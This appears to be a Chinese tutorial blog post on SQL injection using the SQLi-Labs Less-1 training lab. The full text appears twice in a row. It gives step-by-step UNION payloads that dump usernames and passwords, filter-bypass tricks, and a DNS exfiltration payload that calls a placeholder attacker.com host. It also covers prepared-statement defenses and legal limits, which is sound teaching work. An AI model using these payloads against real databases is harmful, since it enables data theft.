1. SQL注入基础与Less-1环境准备作为一名长期从事Web安全研究的从业者我经常遇到初学者对SQL注入概念理解模糊的情况。SQL注入SQL Injection本质上是一种通过将恶意SQL代码插入到应用输入参数中从而在后台数据库执行非预期操作的攻击技术。在OWASP Top 10安全威胁中注入类漏洞常年位居榜首而SQL注入又是其中最常见、危害最大的类型之一。SQLi-Labs是由印度安全研究员Audi-1开发的专门用于SQL注入学习的靶场环境。Less-1作为整个系列的第一个关卡设计目标是帮助学习者掌握最基本的字符型注入技术。这个关卡模拟了一个典型的用户登录查询场景后端PHP代码直接拼接用户输入的ID参数到SQL语句中形成了最基础的注入漏洞。1.1 环境搭建要点在开始实战前你需要准备以下环境PHP运行环境推荐使用XAMPP或phpStudy集成环境MySQL数据库5.x或8.x版本均可从GitHub下载SQLi-Labs源码注意建议在虚拟机或隔离环境中搭建搭建过程中最常见的三个问题及解决方案数据库连接失败检查sqli-labs/db-creds.inc文件中的数据库账号密码是否与本地MySQL配置一致页面显示异常确保PHP版本在5.4以上同时需要开启MySQL扩展关卡无法初始化手动执行sql-lab/sql-connections文件夹中的SQL文件初始化数据库重要提示永远不要在生产环境搭建此类靶场也避免使用真实业务数据库进行测试2. 注入原理深度解析2.1 漏洞形成机制让我们解剖Less-1的后端代码逻辑模拟代码$id $_GET[id]; $sql SELECT * FROM users WHERE id$id LIMIT 0,1; $result mysql_query($sql);当用户访问?id1时实际执行的SQL是SELECT * FROM users WHERE id1 LIMIT 0,1而当输入?id1时SQL变为SELECT * FROM users WHERE id1 LIMIT 0,1这个微小的单引号破坏了SQL语法结构导致报错。这种响应差异正是我们判断注入点存在与否的关键依据。2.2 联合查询注入原理联合查询UNION是SQL注入中最常用的技术之一它允许我们将恶意查询结果与原查询结果合并返回。其有效利用需要满足三个条件前后查询的列数必须相同对应列的数据类型必须兼容后一个查询不能包含ORDER BY子句除非整体查询包含在Less-1中我们通过order by 3确定原查询有3列后就可以构造SELECT * FROM users WHERE id-1 union select 1,2,3 -- LIMIT 0,1这里将id设为-1不存在的值确保原查询不返回结果使页面完整显示我们union select的内容。3. 分步攻击实操详解3.1 注入点探测与确认第一步基础测试正常访问/Less-1/?id1预期看到用户Dumb的信息添加单引号/Less-1/?id1应出现SQL语法错误测试注释/Less-1/?id1--页面恢复正常确认字符型注入关键技巧--中的在URL中代表空格也可以用%20替代如果--被过滤可以尝试#需编码为%233.2 确定字段数量使用order by子句逐步测试/Less-1/?id1 order by 1-- 正常 /Less-1/?id1 order by 2-- 正常 /Less-1/?id1 order by 3-- 正常 /Less-1/?id1 order by 4-- 报错由此确定字段数为3。3.3 联合查询构造构造union查询探测回显点/Less-1/?id-1 union select 1,2,3--观察页面何处显示数字2和3这些位置就是我们可以利用的输出点。3.4 信息收集技术获取数据库信息/Less-1/?id-1 union select 1,database(),version()--database()当前数据库名version()MySQL版本信息获取表名/Less-1/?id-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schemadatabase()--关键点解释information_schema是MySQL元数据库table_schema限定当前数据库group_concat将多行结果合并为单行获取字段名/Less-1/?id-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_nameusers--最终数据提取/Less-1/?id-1 union select 1,group_concat(username,0x3a,password),3 from users--这里0x3a是冒号的十六进制表示避免使用引号被过滤。4. 防御方案与进阶思考4.1 根本性防御措施预编译语句最佳实践$stmt $pdo-prepare(SELECT * FROM users WHERE id?); $stmt-execute([$id]);输入验证白名单验证确保id为数字时使用is_numeric()黑名单过滤即使需要字符串也应过滤特殊字符最小权限原则应用数据库账号应只有必要权限禁止访问information_schema4.2 绕过技术前瞻虽然Less-1是基础关卡但了解可能的绕过技术有助于全面防御注释符变异--、#、/.../等多种形式某些场景下可以使用;%00截断编码混淆十六进制编码0x61646d696e代替adminURL编码%27代替单引号多语句执行某些配置允许;分隔执行多条SQL5. 实战经验与排错指南5.1 常见错误处理union查询不显示结果确认前一个查询结果为空使用不存在的id如-1检查列数是否匹配尝试在不同位置放置回显标记group_concat被截断修改group_concat_max_len设置/Less-1/?id-1 union select 1,group_concat_max_len,3--使用substring分段获取/Less-1/?id-1 union select 1,substring(group_concat(table_name),1,30),3 from information_schema.tables--单引号被转义尝试使用十六进制编码使用char()函数char(39)表示单引号5.2 效率优化技巧信息收集自动化使用Burp Suite的Intruder模块批量测试编写简单Python脚本自动提取数据精准查询代替group_concat当数据量大时直接查询目标/Less-1/?id-1 union select 1,username,password from users limit 0,1--利用DNS外带数据在特殊环境下可用DNS解析记录外传数据/Less-1/?id-1 union select 1,load_file(concat(\\\\,(select database()),.attacker.com\\share)),3--6. 法律与道德边界必须强调的是SQL注入技术只能用于合法授权的安全测试。未经授权的渗透测试可能触犯《网络安全法》等相关法律法规。在实际工作中始终获取书面授权测试前备份数据使用隔离测试环境发现漏洞后立即报告不扩散我个人的经验是真正理解SQL注入的最好方式不是盲目攻击而是自己编写存在漏洞的代码然后尝试修复它。这种构建-破坏-修复的循环能带来最深刻的学习效果。 
长河君 · 2026/11/4 17:27:44 · 阅读 1.2k SQL注入攻防实战：从原理到Less-1靶场演练
1. SQL注入基础与Less-1环境准备作为一名长期从事Web安全研究的从业者我经常遇到初学者对SQL注入概念理解模糊的情况。SQL注入SQL Injection本质上是一种通过将恶意SQL代码插入到应用输入参数中从而在后台数据库执行非预期操作的攻击技术。在OWASP Top 10安全威胁中注入类漏洞常年位居榜首而SQL注入又是其中最常见、危害最大的类型之一。SQLi-Labs是由印度安全研究员Audi-1开发的专门用于SQL注入学习的靶场环境。Less-1作为整个系列的第一个关卡设计目标是帮助学习者掌握最基本的字符型注入技术。这个关卡模拟了一个典型的用户登录查询场景后端PHP代码直接拼接用户输入的ID参数到SQL语句中形成了最基础的注入漏洞。1.1 环境搭建要点在开始实战前你需要准备以下环境PHP运行环境推荐使用XAMPP或phpStudy集成环境MySQL数据库5.x或8.x版本均可从GitHub下载SQLi-Labs源码注意建议在虚拟机或隔离环境中搭建搭建过程中最常见的三个问题及解决方案数据库连接失败检查sqli-labs/db-creds.inc文件中的数据库账号密码是否与本地MySQL配置一致页面显示异常确保PHP版本在5.4以上同时需要开启MySQL扩展关卡无法初始化手动执行sql-lab/sql-connections文件夹中的SQL文件初始化数据库重要提示永远不要在生产环境搭建此类靶场也避免使用真实业务数据库进行测试2. 注入原理深度解析2.1 漏洞形成机制让我们解剖Less-1的后端代码逻辑模拟代码$id $_GET[id]; $sql SELECT * FROM users WHERE id$id LIMIT 0,1; $result mysql_query($sql);当用户访问?id1时实际执行的SQL是SELECT * FROM users WHERE id1 LIMIT 0,1而当输入?id1时SQL变为SELECT * FROM users WHERE id1 LIMIT 0,1这个微小的单引号破坏了SQL语法结构导致报错。这种响应差异正是我们判断注入点存在与否的关键依据。2.2 联合查询注入原理联合查询UNION是SQL注入中最常用的技术之一它允许我们将恶意查询结果与原查询结果合并返回。其有效利用需要满足三个条件前后查询的列数必须相同对应列的数据类型必须兼容后一个查询不能包含ORDER BY子句除非整体查询包含在Less-1中我们通过order by 3确定原查询有3列后就可以构造SELECT * FROM users WHERE id-1 union select 1,2,3 -- LIMIT 0,1这里将id设为-1不存在的值确保原查询不返回结果使页面完整显示我们union select的内容。3. 分步攻击实操详解3.1 注入点探测与确认第一步基础测试正常访问/Less-1/?id1预期看到用户Dumb的信息添加单引号/Less-1/?id1应出现SQL语法错误测试注释/Less-1/?id1--页面恢复正常确认字符型注入关键技巧--中的在URL中代表空格也可以用%20替代如果--被过滤可以尝试#需编码为%233.2 确定字段数量使用order by子句逐步测试/Less-1/?id1 order by 1-- 正常 /Less-1/?id1 order by 2-- 正常 /Less-1/?id1 order by 3-- 正常 /Less-1/?id1 order by 4-- 报错由此确定字段数为3。3.3 联合查询构造构造union查询探测回显点/Less-1/?id-1 union select 1,2,3--观察页面何处显示数字2和3这些位置就是我们可以利用的输出点。3.4 信息收集技术获取数据库信息/Less-1/?id-1 union select 1,database(),version()--database()当前数据库名version()MySQL版本信息获取表名/Less-1/?id-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schemadatabase()--关键点解释information_schema是MySQL元数据库table_schema限定当前数据库group_concat将多行结果合并为单行获取字段名/Less-1/?id-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_nameusers--最终数据提取/Less-1/?id-1 union select 1,group_concat(username,0x3a,password),3 from users--这里0x3a是冒号的十六进制表示避免使用引号被过滤。4. 防御方案与进阶思考4.1 根本性防御措施预编译语句最佳实践$stmt $pdo-prepare(SELECT * FROM users WHERE id?); $stmt-execute([$id]);输入验证白名单验证确保id为数字时使用is_numeric()黑名单过滤即使需要字符串也应过滤特殊字符最小权限原则应用数据库账号应只有必要权限禁止访问information_schema4.2 绕过技术前瞻虽然Less-1是基础关卡但了解可能的绕过技术有助于全面防御注释符变异--、#、/.../等多种形式某些场景下可以使用;%00截断编码混淆十六进制编码0x61646d696e代替adminURL编码%27代替单引号多语句执行某些配置允许;分隔执行多条SQL5. 实战经验与排错指南5.1 常见错误处理union查询不显示结果确认前一个查询结果为空使用不存在的id如-1检查列数是否匹配尝试在不同位置放置回显标记group_concat被截断修改group_concat_max_len设置/Less-1/?id-1 union select 1,group_concat_max_len,3--使用substring分段获取/Less-1/?id-1 union select 1,substring(group_concat(table_name),1,30),3 from information_schema.tables--单引号被转义尝试使用十六进制编码使用char()函数char(39)表示单引号5.2 效率优化技巧信息收集自动化使用Burp Suite的Intruder模块批量测试编写简单Python脚本自动提取数据精准查询代替group_concat当数据量大时直接查询目标/Less-1/?id-1 union select 1,username,password from users limit 0,1--利用DNS外带数据在特殊环境下可用DNS解析记录外传数据/Less-1/?id-1 union select 1,load_file(concat(\\\\,(select database()),.attacker.com\\share)),3--6. 法律与道德边界必须强调的是SQL注入技术只能用于合法授权的安全测试。未经授权的渗透测试可能触犯《网络安全法》等相关法律法规。在实际工作中始终获取书面授权测试前备份数据使用隔离测试环境发现漏洞后立即报告不扩散我个人的经验是真正理解SQL注入的最好方式不是盲目攻击而是自己编写存在漏洞的代码然后尝试修复它。这种构建-破坏-修复的循环能带来最深刻的学习效果。